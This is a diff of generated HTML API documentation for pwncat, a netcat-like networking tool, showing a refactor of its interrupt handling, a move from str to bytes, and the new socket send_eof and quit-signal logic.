-------------------------------------------------------------------------- # Private Functions @@ -10413,33 +12624,33 @@

Args

return mode[tty.LFLAG] != (mode[tty.LFLAG] | termios.ICANON) # type: ignore def __read_stdin(self): - # type: () -> str + # type: () -> bytes """Returns input from STDIN.""" - # (Windows) + # [1/3] (Windows) Normal/Raw mode if self.__win: + if self.__py3: + return sys.stdin.buffer.read() # Python 2 on Windows opens sys.stdin in text mode, and # binary data that read from it becomes corrupted on \r\n. # Setting sys.stdin to binary mode fixes that. - if not self.__py3: - if hasattr(os, "O_BINARY"): - msvcrt.setmode( # type: ignore - sys.stdin.fileno(), os.O_BINARY, # pylint: disable=no-member - ) - return sys.stdin.readline() + if hasattr(os, "O_BINARY"): + msvcrt.setmode( # type: ignore + sys.stdin.fileno(), os.O_BINARY, # pylint: disable=no-member + ) + return sys.stdin.read() # type: ignore - # (Linux/Mac) Raw mode + # [2/3] (Linux/Mac) Raw mode if self.__stdin_israw(): self.__set_input_timeout() - return sys.stdin.read(1) - # if self.__py3: - # return sys.stdin.buffer.read(1) # (bytes) - # return sys.stdin.read(1) - # else: - # return sys.stdin.read(1) - - # (Linux/Mac) Normal mode + if self.__py3: + return sys.stdin.buffer.read(1) + return sys.stdin.read(1) # type: ignore + + # [3/3] (Linux/Mac) Normal mode self.__set_input_timeout() - return sys.stdin.readline() + if self.__py3: + return sys.stdin.buffer.readline() + return sys.stdin.readline() # type: ignore

Ancestors

+
+class InterruptHandler +(keep_open, no_shutdown) +
+
+

Pwncat interrupt handler.

+

It allows all threads to raise various signal on certain actions, +as well as to ask the Interrupt Handler what to do. +The Interrupt handler will internally decide (based on pwncat's +command line arguments) what to do.

+

Instantiate InterruptHandler.

+

Args

+
+
keep_open : bool
+
--keep-open command line argument.
+
no_shutdown : bool
+
--no-shutdown command line argument.
+
+
+ +Expand source code + +
class InterruptHandler(object):
+    """Pwncat interrupt handler.
+
+    It allows all threads to raise various signal on certain actions,
+    as well as to ask the Interrupt Handler what to do.
+    The Interrupt handler will internally decide (based on pwncat's
+    command line arguments) what to do.
+    """
+
+    # --------------------------------------------------------------------------
+    # Constructor
+    # --------------------------------------------------------------------------
+    def __init__(self, keep_open, no_shutdown):
+        # type: (bool, bool) -> None
+        """Instantiate InterruptHandler.
+
+        Args:
+            keep_open (bool): `--keep-open` command line argument.
+            no_shutdown (bool): `--no-shutdown` command line argument.
+        """
+        self.__log = logging.getLogger(__name__)  # type: logging.Logger
+        self.__keep_open = keep_open
+        self.__no_shutdown = no_shutdown
+
+        # Shutdown signals
+        self.__terminate = False
+        self.__sock_send_eof = False
+        self.__sock_quit = False
+        self.__stdin_quit = False
+        self.__command_quit = False
+
+        # Producers have received EOF
+        self.__sock_eof = False
+        self.__stdin_eof = False
+        self.__command_eof = False
+
+        def handler(signum, frame):  # type: ignore  # pylint: disable=unused-argument
+            self.__log.trace("Ctrl+c caught.")  # type: ignore
+            # logging.shutdown()
+            self.raise_terminate()
+
+        # Handle Ctrl+C
+        # signal.signal(signal.SIGTERM, handler)
+        signal.signal(signal.SIGINT, handler)
+
+    # --------------------------------------------------------------------------
+    # Ask for action
+    # --------------------------------------------------------------------------
+    def has_terminate(self):
+        # type: () -> bool
+        """`bool`: Switch to be checked if pwncat should be terminated."""
+        return self.__terminate
+
+    def has_sock_send_eof(self):
+        # type: () -> bool
+        """`bool`: Switch to be checked if the socket connection should be closed for sending."""
+        return self.__sock_send_eof
+
+    def has_sock_quit(self):
+        # type: () -> bool
+        """`bool`: Switch to be checked if the socket connection should be closed."""
+        return self.__sock_quit
+
+    def has_stdin_quit(self):
+        # type: () -> bool
+        """`bool`: Switch to be checked if the STDIN should be closed."""
+        return self.__stdin_quit
+
+    def has_command_quit(self):
+        # type: () -> bool
+        """`bool`: Switch to be checked if the command should be closed."""
+        return self.__command_quit
+
+    # --------------------------------------------------------------------------
+    # Raise Termination signal
+    # --------------------------------------------------------------------------
+    def raise_terminate(self):
+        # type: () -> None
+        """Signal the application that Socket should be quit."""
+        self.__log.trace("SIGNAL TERMINATE raised")  # type: ignore
+        self.__terminate = True
+        self.__sock_quit = True
+        self.__stdin_quit = True
+        self.__command_quit = True
+
+    # --------------------------------------------------------------------------
+    # Raise Socket signals
+    # --------------------------------------------------------------------------
+    def raise_sock_send_eof(self):
+        # type: () -> None
+        """Signal the application that Socket should be closed for sending."""
+        # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised")  # type: ignore
+        self.__sock_send_eof = True
+
+    def raise_sock_eof(self):
+        # type: () -> None
+        """Signal the application that Socket has received EOF."""
+        # self.__log.trace("SIGNAL SOCK-EOF raised")  # type: ignore
+        self.__sock_eof = True
+        self.raise_sock_quit()
+
+    def raise_sock_quit(self):
+        # type: () -> None
+        """Signal the application that Socket should be quit."""
+        # self.__log.trace("SIGNAL SOCK-QUIT raised")  # type: ignore
+        self.__sock_quit = True
+        self.raise_terminate()
+
+    # --------------------------------------------------------------------------
+    # Raise STDIN signals
+    # --------------------------------------------------------------------------
+    def raise_stdin_eof(self):
+        # type: () -> None
+        """Signal the application that STDIN has received EOF."""
+        # self.__log.trace("SIGNAL STDIN-EOF raised")  # type: ignore
+        self.__stdin_eof = True
+        self.raise_stdin_quit()
+
+    def raise_stdin_quit(self):
+        # type: () -> None
+        """Signal the application that STDIN should be quit."""
+        # self.__log.trace("SIGNAL STDIN-QUIT raised")  # type: ignore
+        self.__stdin_quit = True
+        # If --no-shutdown or -keep-open is specified
+        # pwncat will not invoke shutdown on a socket after seeing EOF on stdin
+        if not (self.__no_shutdown or self.__keep_open):
+            # No more data from stdin, we can tell the remote side we are done
+            # by closing the socket for sending (they will receive an EOF).
+            self.raise_sock_send_eof()
+
+    # --------------------------------------------------------------------------
+    # Raise COMMAND signals
+    # --------------------------------------------------------------------------
+    def raise_command_eof(self):
+        # type: () -> None
+        """Signal the application that Command has received EOF."""
+        # self.__log.trace("SIGNAL COMMAND-EOF raised")  # type: ignore
+        self.__command_eof = True
+        self.raise_command_quit()
+
+    def raise_command_quit(self):
+        # type: () -> None
+        """Signal the application that Command should be quit."""
+        # self.__log.trace("SIGNAL COMMAND-QUIT raised")  # type: ignore
+        self.__command_quit = True
+        self.raise_terminate()
+
+

Methods

+
+
+def has_command_quit(self) +
+
+

bool: Switch to be checked if the command should be closed.

+
+ +Expand source code + +
def has_command_quit(self):
+    # type: () -> bool
+    """`bool`: Switch to be checked if the command should be closed."""
+    return self.__command_quit
+
+
+
+def has_sock_quit(self) +
+
+

bool: Switch to be checked if the socket connection should be closed.

+
+ +Expand source code + +
def has_sock_quit(self):
+    # type: () -> bool
+    """`bool`: Switch to be checked if the socket connection should be closed."""
+    return self.__sock_quit
+
+
+
+def has_sock_send_eof(self) +
+
+

bool: Switch to be checked if the socket connection should be closed for sending.

+
+ +Expand source code + +
def has_sock_send_eof(self):
+    # type: () -> bool
+    """`bool`: Switch to be checked if the socket connection should be closed for sending."""
+    return self.__sock_send_eof
+
+
+
+def has_stdin_quit(self) +
+
+

bool: Switch to be checked if the STDIN should be closed.

+
+ +Expand source code + +
def has_stdin_quit(self):
+    # type: () -> bool
+    """`bool`: Switch to be checked if the STDIN should be closed."""
+    return self.__stdin_quit
+
+
+
+def has_terminate(self) +
+
+

bool: Switch to be checked if pwncat should be terminated.

+
+ +Expand source code + +
def has_terminate(self):
+    # type: () -> bool
+    """`bool`: Switch to be checked if pwncat should be terminated."""
+    return self.__terminate
+
+
+
+def raise_command_eof(self) +
+
+

Signal the application that Command has received EOF.

+
+ +Expand source code + +
def raise_command_eof(self):
+    # type: () -> None
+    """Signal the application that Command has received EOF."""
+    # self.__log.trace("SIGNAL COMMAND-EOF raised")  # type: ignore
+    self.__command_eof = True
+    self.raise_command_quit()
+
+
+
+def raise_command_quit(self) +
+
+

Signal the application that Command should be quit.

+
+ +Expand source code + +
def raise_command_quit(self):
+    # type: () -> None
+    """Signal the application that Command should be quit."""
+    # self.__log.trace("SIGNAL COMMAND-QUIT raised")  # type: ignore
+    self.__command_quit = True
+    self.raise_terminate()
+
+
+
+def raise_sock_eof(self) +
+
+

Signal the application that Socket has received EOF.

+
+ +Expand source code + +
def raise_sock_eof(self):
+    # type: () -> None
+    """Signal the application that Socket has received EOF."""
+    # self.__log.trace("SIGNAL SOCK-EOF raised")  # type: ignore
+    self.__sock_eof = True
+    self.raise_sock_quit()
+
+
+
+def raise_sock_quit(self) +
+
+

Signal the application that Socket should be quit.

+
+ +Expand source code + +
def raise_sock_quit(self):
+    # type: () -> None
+    """Signal the application that Socket should be quit."""
+    # self.__log.trace("SIGNAL SOCK-QUIT raised")  # type: ignore
+    self.__sock_quit = True
+    self.raise_terminate()
+
+
+
+def raise_sock_send_eof(self) +
+
+

Signal the application that Socket should be closed for sending.

+
+ +Expand source code + +
def raise_sock_send_eof(self):
+    # type: () -> None
+    """Signal the application that Socket should be closed for sending."""
+    # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised")  # type: ignore
+    self.__sock_send_eof = True
+
+
+
+def raise_stdin_eof(self) +
+
+

Signal the application that STDIN has received EOF.

+
+ +Expand source code + +
def raise_stdin_eof(self):
+    # type: () -> None
+    """Signal the application that STDIN has received EOF."""
+    # self.__log.trace("SIGNAL STDIN-EOF raised")  # type: ignore
+    self.__stdin_eof = True
+    self.raise_stdin_quit()
+
+
+
+def raise_stdin_quit(self) +
+
+

Signal the application that STDIN should be quit.

+
+ +Expand source code + +
def raise_stdin_quit(self):
+    # type: () -> None
+    """Signal the application that STDIN should be quit."""
+    # self.__log.trace("SIGNAL STDIN-QUIT raised")  # type: ignore
+    self.__stdin_quit = True
+    # If --no-shutdown or -keep-open is specified
+    # pwncat will not invoke shutdown on a socket after seeing EOF on stdin
+    if not (self.__no_shutdown or self.__keep_open):
+        # No more data from stdin, we can tell the remote side we are done
+        # by closing the socket for sending (they will receive an EOF).
+        self.raise_sock_send_eof()
+
+
+
+def raise_terminate(self) +
+
+

Signal the application that Socket should be quit.

+
+ +Expand source code + +
def raise_terminate(self):
+    # type: () -> None
+    """Signal the application that Socket should be quit."""
+    self.__log.trace("SIGNAL TERMINATE raised")  # type: ignore
+    self.__terminate = True
+    self.__sock_quit = True
+    self.__stdin_quit = True
+    self.__command_quit = True
+
+
+
+
class Net (encoder, ssig, options) @@ -10565,7 +13179,7 @@

Args

encoder : StringEncoder
Instance of StringEncoder (Python2/3 str/byte compat).
-
ssig : StopSignal
+
ssig : InterruptHandler
Used to stop blocking loops.
options : DsSock
Instance of DsSock.
@@ -10581,12 +13195,12 @@

Args

# Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, encoder, ssig, options): - # type: (StringEncoder, StopSignal, DsSock) -> None + # type: (StringEncoder, InterruptHandler, DsSock) -> None """Instantiate Sock class. Args: encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). - ssig (StopSignal): Used to stop blocking loops. + ssig (InterruptHandler): Used to stop blocking loops. options (DsSock): Instance of DsSock. """ self.__log = logging.getLogger(__name__) # type: logging.Logger @@ -10655,15 +13269,23 @@

Args

# -------------------------------------------------------------------------- # Public Send / Receive Functions # -------------------------------------------------------------------------- + def send_eof(self): + # type: () -> None + """Close the active socket for sending. The remote part will get an EOF.""" + self.__sock.shutdown_send(self.__active["conn"], "conn") + def send(self, data): - # type: (str) -> int + # type: (bytes) -> int """Send data through a connected (TCP) or unconnected (UDP) socket. Args: - data (str): The data to send. + data (bytes): The data to send. Returns: int: Returns total bytes sent. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. """ # UDP has some specialities as its socket is unconnected. # See also recv() for specialities on that side. @@ -10675,16 +13297,18 @@

Args

if not self.__active: self.__log.warning("UDP client has not yet connected. Queueing message") while not self.__active: + if self.__ssig.has_sock_quit(): + self.__log.trace( # type: ignore + "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)" + ) + return -1 time.sleep(0.01) curr = 0 # bytes send during one loop iteration send = 0 # total bytes send size = len(data) # bytes of data that needs to be send - byte = self.__enc.encode(data) - assert size == len(byte), "Encoding messed up string length, might need to do len() after." # Loop until all bytes have been send - # TODO: Does this make it impossible to send nullbytes (Ctrl+d) while send < size: self.__log.debug( "Trying to send %d bytes to %s:%d", @@ -10692,23 +13316,23 @@

Args

self.__active["remote_addr"], self.__active["remote_port"], ) - self.__log.trace("Trying to send: %s", repr(byte)) # type: ignore + self.__log.trace("Trying to send: %s", repr(data)) # type: ignore try: # Only UDP server has not made a connect() to the socket, all others # are already connected and need to use send() instead of sendto() if self.__udp_mode_server: curr = self.__active["conn"].sendto( - byte, (self.__active["remote_addr"], self.__active["remote_port"]) + data, (self.__active["remote_addr"], self.__active["remote_port"]) ) send += curr else: - curr = self.__active["conn"].send(byte) + curr = self.__active["conn"].send(data) send += curr if curr == 0: self.__log.error("No bytes send during loop round.") return 0 # Remove 'curr' many bytes from byte for the next round - byte = byte[curr:] + data = data[curr:] self.__log.debug( "Sent %d bytes to %s:%d (%d bytes remaining)", curr, @@ -10716,23 +13340,23 @@

Args

self.__active["remote_port"], size - send, ) - except (OSError, socket.error) as error: - self.__log.error("Socket OS Error: %s", error) - return send + except (IOError, OSError, socket.error) as error: + msg = "Socket send Error: {}".format(error) + raise socket.error(msg) return send def receive(self): - # type: () -> str + # type: () -> bytes """Receive and return data from the connected (TCP) or unconnected (UDP) socket. Returns: - str: Returns received data from connected (TCP) or unconnected (UDP) socket. + bytes: Returns received data from connected (TCP) or unconnected (UDP) socket. Raises: socket.timeout: Except here to do an action when the socket is not busy. AttributeError: Except here when current instance has closed itself (Ctrl+c). socket.error: Except here when unconnected or connection was forcibly closed. - EOFError: Except here when upstream has closed the connection. + EOFError: Except here when upstream has closed the connection via EOF. """ # This is required for a UDP server that has no connected clients yet # and is waiting for data receival for the first time on either IPv4 or IPv6 @@ -10748,9 +13372,9 @@

Args

0 ] # type: List[socket.socket] # E.g.: ValueError: file descriptor cannot be a negative integer (-1) - except (ValueError, AttributeError): - msg = "Connection was closed by self." - self.__log.warning(msg) + except (ValueError, AttributeError) as error: + msg = "Connection was closed by self: [1]: {}".format(error) + self.__log.debug(msg) raise AttributeError(msg) if not conns: # This is raised for the calling function to determine what to do @@ -10762,12 +13386,12 @@

Args

conn = conns[0] # type: socket.socket try: # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html - (byte, addr) = conn.recvfrom(self.__options.bufsize) + (data, addr) = conn.recvfrom(self.__options.bufsize) # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called) - except AttributeError: - msg = "Connection was closed by self." - self.__log.warning(msg) + except AttributeError as error: + msg = "Connection was closed by self: [2]: {}".format(error) + self.__log.debug(msg) raise AttributeError(msg) # [2/5] Connection was forcibly closed @@ -10775,14 +13399,14 @@

Args

# [Errno 10054] An existing connection was forcibly closed by the remote host # [WinError 10054] An existing connection was forcibly closed by the remote host except (OSError, socket.error) as error: - self.__log.warning("Connection error: %s", error) + self.__log.debug("Connection error: %s", error) raise socket.error(error) # [3/5] Upstream (server or client) is gone. # In TCP, there is no such thing as an empty message, so zero means a peer disconnect. # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram. - if not byte: - msg = "Upstream has closed the connection." + if not data: + msg = "EOF: Remote finished sending." self.__log.info(msg) raise EOFError(msg) @@ -10820,7 +13444,6 @@

Args

} # [5/5] We have data to process - data = self.__enc.decode(byte) self.__log.debug( "Received %d bytes from %s:%d", len(data), @@ -10855,6 +13478,7 @@

Args

"conn": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, + True, self.__options.ip_tos, ) } @@ -10959,6 +13583,7 @@

Args

"sock": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, + True, self.__options.ip_tos, ) } @@ -11057,24 +13682,27 @@

Args

return False # (2/3) Accept + remove = {} try: conn, client = self.__sock.accept( - [conns[family]["sock"] for family in conns], self.__ssig.has_stop + [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit ) conns[conn.family]["conn"] = conn conns[conn.family]["remote_addr"] = client[0] conns[conn.family]["remote_port"] = client[1] except socket.error as err: - # On error, remove all bind sockets - for family in conns: - self.__log.debug( - "Removing (family %d/%s) due to: %s", - family, - self.__sock.get_family_name(family), - err, - ) - self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) - del conns[family] + remove = {family: str(err) for family in conns} + # On error, remove all bind sockets + for family in remove: + self.__log.debug( + "Removing (family %d/%s) due to: %s", + family, + self.__sock.get_family_name(family), + remove[family], + ) + self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) + del conns[family] + if not conns: return False # (3/3) Store connections @@ -11107,7 +13735,7 @@

Args

# [2/3] Accept try: conn, client = self.__sock.accept( - [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_stop + [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit ) except socket.error: return False @@ -11204,7 +13832,7 @@

Returns

# [2/3] Accept try: conn, client = self.__sock.accept( - [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_stop + [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit ) except socket.error: return False @@ -11229,7 +13857,7 @@

Returns

Receive and return data from the connected (TCP) or unconnected (UDP) socket.

Returns

-
str
+
bytes
Returns received data from connected (TCP) or unconnected (UDP) socket.

Raises

@@ -11242,7 +13870,7 @@

Raises

Except here when unconnected or connection was forcibly closed.
EOFError
-

Except here when upstream has closed the connection.

+

Except here when upstream has closed the connection via EOF.

@@ -11250,17 +13878,17 @@

Raises

Expand source code
def receive(self):
-    # type: () -> str
+    # type: () -> bytes
     """Receive and return data from the connected (TCP) or unconnected (UDP) socket.
 
     Returns:
-        str: Returns received data from connected (TCP) or unconnected (UDP) socket.
+        bytes: Returns received data from connected (TCP) or unconnected (UDP) socket.
 
     Raises:
         socket.timeout: Except here to do an action when the socket is not busy.
         AttributeError: Except here when current instance has closed itself (Ctrl+c).
         socket.error:   Except here when unconnected or connection was forcibly closed.
-        EOFError:       Except here when upstream has closed the connection.
+        EOFError:       Except here when upstream has closed the connection via EOF.
     """
     # This is required for a UDP server that has no connected clients yet
     # and is waiting for data receival for the first time on either IPv4 or IPv6
@@ -11276,9 +13904,9 @@ 

Raises

0 ] # type: List[socket.socket] # E.g.: ValueError: file descriptor cannot be a negative integer (-1) - except (ValueError, AttributeError): - msg = "Connection was closed by self." - self.__log.warning(msg) + except (ValueError, AttributeError) as error: + msg = "Connection was closed by self: [1]: {}".format(error) + self.__log.debug(msg) raise AttributeError(msg) if not conns: # This is raised for the calling function to determine what to do @@ -11290,12 +13918,12 @@

Raises

conn = conns[0] # type: socket.socket try: # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html - (byte, addr) = conn.recvfrom(self.__options.bufsize) + (data, addr) = conn.recvfrom(self.__options.bufsize) # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called) - except AttributeError: - msg = "Connection was closed by self." - self.__log.warning(msg) + except AttributeError as error: + msg = "Connection was closed by self: [2]: {}".format(error) + self.__log.debug(msg) raise AttributeError(msg) # [2/5] Connection was forcibly closed @@ -11303,14 +13931,14 @@

Raises

# [Errno 10054] An existing connection was forcibly closed by the remote host # [WinError 10054] An existing connection was forcibly closed by the remote host except (OSError, socket.error) as error: - self.__log.warning("Connection error: %s", error) + self.__log.debug("Connection error: %s", error) raise socket.error(error) # [3/5] Upstream (server or client) is gone. # In TCP, there is no such thing as an empty message, so zero means a peer disconnect. # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram. - if not byte: - msg = "Upstream has closed the connection." + if not data: + msg = "EOF: Remote finished sending." self.__log.info(msg) raise EOFError(msg) @@ -11348,7 +13976,6 @@

Raises

} # [5/5] We have data to process - data = self.__enc.decode(byte) self.__log.debug( "Received %d bytes from %s:%d", len(data), @@ -11402,6 +14029,7 @@

Returns

"conn": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, + True, self.__options.ip_tos, ) } @@ -11528,6 +14156,7 @@

Returns

"sock": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, + True, self.__options.ip_tos, ) } @@ -11626,24 +14255,27 @@

Returns

return False # (2/3) Accept + remove = {} try: conn, client = self.__sock.accept( - [conns[family]["sock"] for family in conns], self.__ssig.has_stop + [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit ) conns[conn.family]["conn"] = conn conns[conn.family]["remote_addr"] = client[0] conns[conn.family]["remote_port"] = client[1] except socket.error as err: - # On error, remove all bind sockets - for family in conns: - self.__log.debug( - "Removing (family %d/%s) due to: %s", - family, - self.__sock.get_family_name(family), - err, - ) - self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) - del conns[family] + remove = {family: str(err) for family in conns} + # On error, remove all bind sockets + for family in remove: + self.__log.debug( + "Removing (family %d/%s) due to: %s", + family, + self.__sock.get_family_name(family), + remove[family], + ) + self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) + del conns[family] + if not conns: return False # (3/3) Store connections @@ -11668,27 +14300,35 @@

Returns

Send data through a connected (TCP) or unconnected (UDP) socket.

Args

-
data : str
+
data : bytes
The data to send.

Returns

int
Returns total bytes sent.
+
+

Raises

+
+
socket.error
+
Except here when unconnected or connection was forcibly closed.
Expand source code
def send(self, data):
-    # type: (str) -> int
+    # type: (bytes) -> int
     """Send data through a connected (TCP) or unconnected (UDP) socket.
 
     Args:
-        data (str): The data to send.
+        data (bytes): The data to send.
 
     Returns:
         int: Returns total bytes sent.
+
+    Raises:
+        socket.error:   Except here when unconnected or connection was forcibly closed.
     """
     # UDP has some specialities as its socket is unconnected.
     # See also recv() for specialities on that side.
@@ -11700,16 +14340,18 @@ 

Returns

if not self.__active: self.__log.warning("UDP client has not yet connected. Queueing message") while not self.__active: + if self.__ssig.has_sock_quit(): + self.__log.trace( # type: ignore + "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)" + ) + return -1 time.sleep(0.01) curr = 0 # bytes send during one loop iteration send = 0 # total bytes send size = len(data) # bytes of data that needs to be send - byte = self.__enc.encode(data) - assert size == len(byte), "Encoding messed up string length, might need to do len() after." # Loop until all bytes have been send - # TODO: Does this make it impossible to send nullbytes (Ctrl+d) while send < size: self.__log.debug( "Trying to send %d bytes to %s:%d", @@ -11717,23 +14359,23 @@

Returns

self.__active["remote_addr"], self.__active["remote_port"], ) - self.__log.trace("Trying to send: %s", repr(byte)) # type: ignore + self.__log.trace("Trying to send: %s", repr(data)) # type: ignore try: # Only UDP server has not made a connect() to the socket, all others # are already connected and need to use send() instead of sendto() if self.__udp_mode_server: curr = self.__active["conn"].sendto( - byte, (self.__active["remote_addr"], self.__active["remote_port"]) + data, (self.__active["remote_addr"], self.__active["remote_port"]) ) send += curr else: - curr = self.__active["conn"].send(byte) + curr = self.__active["conn"].send(data) send += curr if curr == 0: self.__log.error("No bytes send during loop round.") return 0 # Remove 'curr' many bytes from byte for the next round - byte = byte[curr:] + data = data[curr:] self.__log.debug( "Sent %d bytes to %s:%d (%d bytes remaining)", curr, @@ -11741,12 +14383,27 @@

Returns

self.__active["remote_port"], size - send, ) - except (OSError, socket.error) as error: - self.__log.error("Socket OS Error: %s", error) - return send + except (IOError, OSError, socket.error) as error: + msg = "Socket send Error: {}".format(error) + raise socket.error(msg) return send
+
+def send_eof(self) +
+
+

Close the active socket for sending. The remote part will get an EOF.

+
+ +Expand source code + +
def send_eof(self):
+    # type: () -> None
+    """Close the active socket for sending. The remote part will get an EOF."""
+    self.__sock.shutdown_send(self.__active["conn"], "conn")
+
+
@@ -11758,12 +14415,12 @@

Returns

The same instance of this class will be available to your send and receive scripts that allow you to exchange data or manipulate themselves. You even have access to the currently used instance of the networking class to manipulate the active socket. -As well as to the logger and StopSignal instances.

+As well as to the logger and InterruptHandler instances.

Instantiate the PSE class.

Args

-
ssig : StopSignal
-
Instance of the StopSignal class to force a shutdown.
+
ssig : InterruptHandler
+
Instance InterruptHandler.
net : IONetwork
Instance of the current network class to manipulate the socket.
@@ -11777,18 +14434,18 @@

Args

The same instance of this class will be available to your send and receive scripts that allow you to exchange data or manipulate themselves. You even have access to the currently used instance of the networking class to manipulate the active socket. - As well as to the logger and StopSignal instances. + As well as to the logger and InterruptHandler instances. """ @property def messages(self): - # type: () -> Dict[str, List[str]] - """`Dict[str, List[str]]`: Stores sent and received messages by its thread name.""" + # type: () -> Dict[str, List[bytes]] + """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name.""" return self.__messages @messages.setter def messages(self, value): - # type: (Dict[str, List[str]]) -> None + # type: (Dict[str, List[bytes]]) -> None self.__messages = value @property @@ -11804,8 +14461,8 @@

Args

@property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: Instance of Logging.logger class.""" + # type: () -> InterruptHandler + """`InterruptHandler`: Instance of InterruptHandler class.""" return self.__ssig @property @@ -11821,11 +14478,11 @@

Args

return self.__log def __init__(self, ssig, net): - # type: (StopSignal, List[IONetwork]) -> None + # type: (InterruptHandler, List[IONetwork]) -> None """Instantiate the PSE class. Args: - ssig (StopSignal): Instance of the StopSignal class to force a shutdown. + ssig (InterruptHandler): Instance InterruptHandler. net (IONetwork): Instance of the current network class to manipulate the socket. """ self.__messages = {} @@ -11852,15 +14509,15 @@

Instance variables

var messages
-

Dict[str, List[str]]: Stores sent and received messages by its thread name.

+

Dict[str, List[bytes]]: Stores sent and received messages by its thread name.

Expand source code
@property
 def messages(self):
-    # type: () -> Dict[str, List[str]]
-    """`Dict[str, List[str]]`: Stores sent and received messages by its thread name."""
+    # type: () -> Dict[str, List[bytes]]
+    """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name."""
     return self.__messages
@@ -11880,15 +14537,15 @@

Instance variables

var ssig
-

StopSignal: Instance of Logging.logger class.

+

InterruptHandler: Instance of InterruptHandler class.

Expand source code
@property
 def ssig(self):
-    # type: () -> StopSignal
-    """`StopSignal`: Instance of Logging.logger class."""
+    # type: () -> InterruptHandler
+    """`InterruptHandler`: Instance of InterruptHandler class."""
     return self.__ssig
@@ -11910,13 +14567,17 @@

Instance variables

class Runner -(pse) +(ssig, fast_quit, pse)

Runner class that takes care about putting everything into threads.

Create a new Runner object.

Args

+
ssig : InterruptHandler
+
Instance of InterruptHandler.
+
fast_quit : boo
+
On True do not join threads upon exit, just raise terminate and exit.
pse : PSEStore
Pwncat Scripting Engine store.
@@ -11930,11 +14591,13 @@

Args

# -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- - def __init__(self, pse): - # type: (PSEStore) -> None + def __init__(self, ssig, fast_quit, pse): + # type: (InterruptHandler, bool, PSEStore) -> None """Create a new Runner object. Args: + ssig (InterruptHandler): Instance of InterruptHandler. + fast_quit (boo): On `True` do not join threads upon exit, just raise terminate and exit. pse (PSEStore): Pwncat Scripting Engine store. """ self.log = logging.getLogger(__name__) @@ -11956,6 +14619,8 @@

Args

# {"name": "<thread>"} self.__threads = {} # type: Dict[str, threading.Thread] + self.__ssig = ssig + self.__fast_quit = fast_quit self.__pse = pse # -------------------------------------------------------------------------- @@ -11998,7 +14663,7 @@

Args

def run_action( name, # type: str producer, # type: DsCallableProducer - consumer, # type: Callable[[str], None] + consumer, # type: Callable[[bytes], None] transformers, # type: List[Transform] code, # type: Optional[Union[str, bytes, CodeType]] ): @@ -12047,23 +14712,25 @@

Args

consumer(data) self.log.trace("[%s] Producer Stop", name) # type: ignore - def run_timer(name, action, intvl, ssig, args, **kwargs): - # type: (str, Callable[..., None], int, StopSignal, Any, Any) -> None + def run_timer(name, action, intvl, ssig, *args, **kwargs): + # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None """Timer run function to be thrown into a thread (Execs periodic tasks). Args: name (str): Name for logging output action (function): Function to be called in a given intervall intvl (float): Intervall at which the action function will be called - ssig (StopSignal): Providing has_stop() and raise_stop() + ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl) # type: ignore time_last = int(time.time()) while True: - if ssig.has_stop(): - self.log.trace("Stop signal acknowledged for timer %s", name) # type: ignore + if ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for timer action [%s]", name + ) return time_now = int(time.time()) if time_now > time_last + intvl: @@ -12072,8 +14739,8 @@

Args

time_last = time_now # Reset previous time time.sleep(0.1) - def run_repeater(name, action, repeat, pause, ssig, args, **kwargs): - # type: (str, Callable[..., None], int, float, StopSignal, Any, Any) -> None + def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs): + # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None """Repeater run function to be thrown into a thread (Execs periodic tasks). Args: @@ -12081,23 +14748,30 @@

Args

